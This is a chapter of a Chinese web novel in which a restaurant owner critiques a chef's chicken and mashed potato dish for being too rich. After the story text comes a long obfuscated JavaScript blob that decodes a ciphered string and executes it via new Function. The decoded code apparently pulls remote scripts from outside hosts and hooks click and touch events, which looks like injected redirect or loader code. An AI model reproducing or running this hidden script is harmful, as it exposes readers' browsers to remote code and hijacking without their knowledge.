207.态度转变(求月票)(1 / 2)

毕竟在他的观念中,即便是养殖条件再好的生蚝,多多少少都会有些细菌和寄生虫。

但是,作为女儿的自己,对几乎所有的吃法都来者不拒。

而正是这种不挑食,让何贝贝自幼就品尝了各种各样不同风格和烹饪手法的美食。

而这些美食的味道和烹调手法,也深深地烙印在她的脑海里,让她在有需要的时候,可以随时调用。

如果他未曾尝试过在食用生蚝刺身的时候,使用黑醋汁和柠檬汁,就不可能研制出这样一道海胆刺身。

这就像,大汉国最后一个末代君主一样,在他被罢免后,有一次到了古玩街,看到一地的古玩,轻而易举地在其中挑出了很多真货。

旁人就恭维对方眼力极佳,这位落魄后的末代君主,只是轻轻摇头,说出一句风轻云淡的话

“以前我家里,全是这些,一看就知道是真是假,感觉就不对。”

很多人认为,所有人都在同一起跑线,其实根本就不可能。

一个音乐世家要培养一个音乐家,难度肯定要比普通家庭要小。

一个厨艺世家要培养一个美食家,难度也远远要比正常家庭轻松。

心中想着事情,手上的动作却丝毫没有耽搁,鸡蓉里面加入了用鸡骨架熬出的高汤,鸡蓉又和土豆泥混合成型。

何贝贝用雪糕勺舀起一个圆球,放入绿色的小圆碟里面,最后撒上一层细碎的黑胡椒碎。

一份【鸡蓉土豆泥】就完成了。

用勺子舀下一勺土豆泥,李潇仔细打量了一下,这土豆泥十分的细腻,放在鼻尖上仔细闻了闻,鸡肉的香味,新鲜土豆的清香味,浓郁的奶味,以及淡淡的胡椒粉味。

味道相辅相成,配合得十分默契。

鸡蓉土豆泥刚放入嘴里,甚至不需要咀嚼,就悄然融化变成流体的土豆泥顺着喉咙向身体内滑去。

这道菜肯定非常受孩子和老人喜欢,土豆泥里面加入了牛奶,奶油,芝士,这三种奶制品,所以才能造成如此浓郁的奶味,鸡胸肉在蒸熟后加入鸡汤打碎成鸡茸,最后混合在土豆泥里。

奶油风味十足,就像是在吃冰淇淋一样,只是这个冰淇淋是鸡肉味的。

总体感觉相当不错,奶香四溢,口感也很舒服,不过吃到后面。李潇就感觉有些腻了,应该是芝士和奶油的原因。

虽然为了解腻,何贝贝在最后的时候撒上了黑胡椒碎,但是因为害怕黑胡椒碎的浓烈味道,会使得主次不分,掠夺掉土豆泥的味道,所以黑胡椒碎加得并不多。

以致起到的解腻作用,并不强。

一开始吃着还算不错,但是多吃两口,问题就体现出来了。

李潇低头看着碟子中的土豆泥,这个问题,那并不是不好解决,最容易解决的办法,当然就是减量。

既然吃多了会腻,那分量减少一些,问题就直接迎刃而解。

但是,这方法虽然简单,但是只是治标不治本。

就像是脸上有痘痘和黑头,不想着怎么保养,一味想着用粉去遮挡,只是逃避问题而已。

何贝贝原本看到李潇脸上露出笑容,已经放下担心,以为第四道菜也顺利过关,可以安心地准备开始第五道菜。

谁知她准备动手的时候,李潇却向她招了招手。

他这次没有露出不悦的表情,眉头也没有皱起,脚下的步伐比之前快了许多,向着工作台后走去。

李潇没有浪费时间,开门见山地问道

“你有没有尝过你做出来的这一份【鸡茸土豆泥?】”

何贝贝有些不明所以,

“当然吃过了,是出现什么问题吗?”

李潇点头,有些疑惑

“既然你吃过,难道你没有觉得什么不妥吗?”

难道何贝贝居然是个重口味,不过这也很难说,毕竟他可是听说外国人都喜欢重口味。

皮鞭都很抽得特别重,不对不是皮鞭,是调料都下得特别重,没错,是调料特别重。

不妥?

何贝贝皱起眉头,拿起李潇那份剩下一小半的土豆泥有些不解。

放在鼻子上闻了闻,味道没有任何不对劲的地方。

李潇看着对方拿起勺子就要吃,连忙开口阻止。

好家伙,这份土豆泥自己吃过,你还要吃,不知道男女授受不亲??这不等于间接接吻?

自己和姜映雪都没接过吻,怎么可以把初吻留给你???

他指了指工作台上还剩下的那半碗的土豆泥,

“这里太少了,你去试试吃一份正常分量的看看有什么感觉。”

当听到李潇说出这句话的时候,经验丰富的贝贝,就立刻明白可能是分量出了问题,她连忙走回工作台。

随手扯过一个空白的碗,直接就用雪糕勺舀起一勺土豆泥,在土豆泥上撒上黑胡椒碎,就开始用勺子往嘴巴塞,塞了大约二分之三的土豆泥,她的手就停了下来。

她舔了舔嘴唇,低头看了手上剩下小半碗的鸡茸土豆泥。

一股羞愧涌上心头。

太过自信还是会害死人的,这个鸡茸土豆泥,她尝过味道后,直接就按照分量进行制作。

但作为一个三星厨师,他却忘记了最重要的一点。

增加过多的牛奶制品,油脂,以及糖分后,吃多了会很容易产生饱腹感,也就是会出现大部分人所说的吃腻了的感觉。

这其实是相当简单的常识,只是她对自己的技法过于自信。

而且鸡蓉本身是有一定的吸收油脂的作用,然而她没想到的是这次却在分量上栽了个大跟头,如果分量上少上一半,那问题应该就不那么明显,甚至不会出现问题。

放下手上的碗,她转过身开口对着李潇说道,

“我大概清楚这份【鸡蓉土豆泥】出现了什么问题了,我到时候会调整一下它的分量了。”

说完何贝贝就要转身走开,并不是她太傲气,而是没脸见人。

这才试吃了4道菜,就有三道菜出现问题,换做是谁,谁都得羞愧得没脸见人。

虽然看到何贝贝已经一脸尴尬,但是该提的意见还是要提,毕竟,现在【邻里】只有三星,可以进步的地方还是很大的。

况且对方看着还是很好交流的样子,趁着现在还能交流,还是趁热打铁把问题都提出来。

李潇轻咳一声,连忙制止了何贝贝的逃离行动。

何贝贝心中咯噔了一下,好家伙,自己这边都认错了,这是要拉着自己死磕到底的意思吗?

是要当着整个厨房的人嘲讽自己一顿?

还是要当众骂自己一顿?

虽然,自己这边的疏漏确实有点多,但是......

好吧,虽然有些不满,但是这种不满立刻就烟消云散。

这对方似乎确实有不满的资格,换做自己是老板,四个菜里面有三个出现问题,明天能不能继续上班都是个问题。

不过她倒是误会了,李潇并没有要落她面子的意思。

而是真心想要提出指导意见,毕竟【邻里】后天就要开业了。

现在换人确实有点仓促,且太过离谱。

况且对方的水平已经能拿到三颗星,也确实算不错了。

万一换人后,连三星都没有,那就得不偿失了。

而且李潇对方背后可是还有着两尊五星级的高级厨师坐镇,到时候更换菜单或者要出新品了。

何贝贝遇到问题了,肯定会找自己爸妈。

那就等于请了一个三星高级厨师,却白嫖了两个5星高级厨师,这生意怎么算都划得来,所以非必要李潇肯定不会和对方闹僵。

李潇看气氛不太对劲,连忙露出一个笑脸

“其实这一份鸡茸土豆泥的味道还是非常不错的,无论构思还是调制手法,又或是它的细腻程度都相当的妥当。”

“但是,你刚才应该很清楚地知道,它有唯一的一个缺点就是吃多了会感觉太腻了。”

“当然你刚才所说的调整它的分量是没有任何问题的,这个做法很直接,也能非常立竿见影地解决了问题。”

李潇先是表扬了一下对方,毕竟已经连续提了很多意见了,他也不清楚,对方的脾气和肚量到底如何。

所以他还是觉得先说几句话好,但是意见还是要提的。

“但是你有没有想到,即便是减少了分量,这份菜的油腻其实并没有消失,只是被暂时地压制下来,但这个饱腹感其实已经被身体感觉到,这很可能会影响到接下来的一系列菜品的品尝。”

“所以我这边是有一个小小的建议,建议你们这边减少牛奶,奶油以及芝士的分量。”

听到李潇的话,何贝贝豁然一惊,确实她完全忽略了这个问题,即便是自己暂时解决了吃完土豆泥会腻的问题。

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();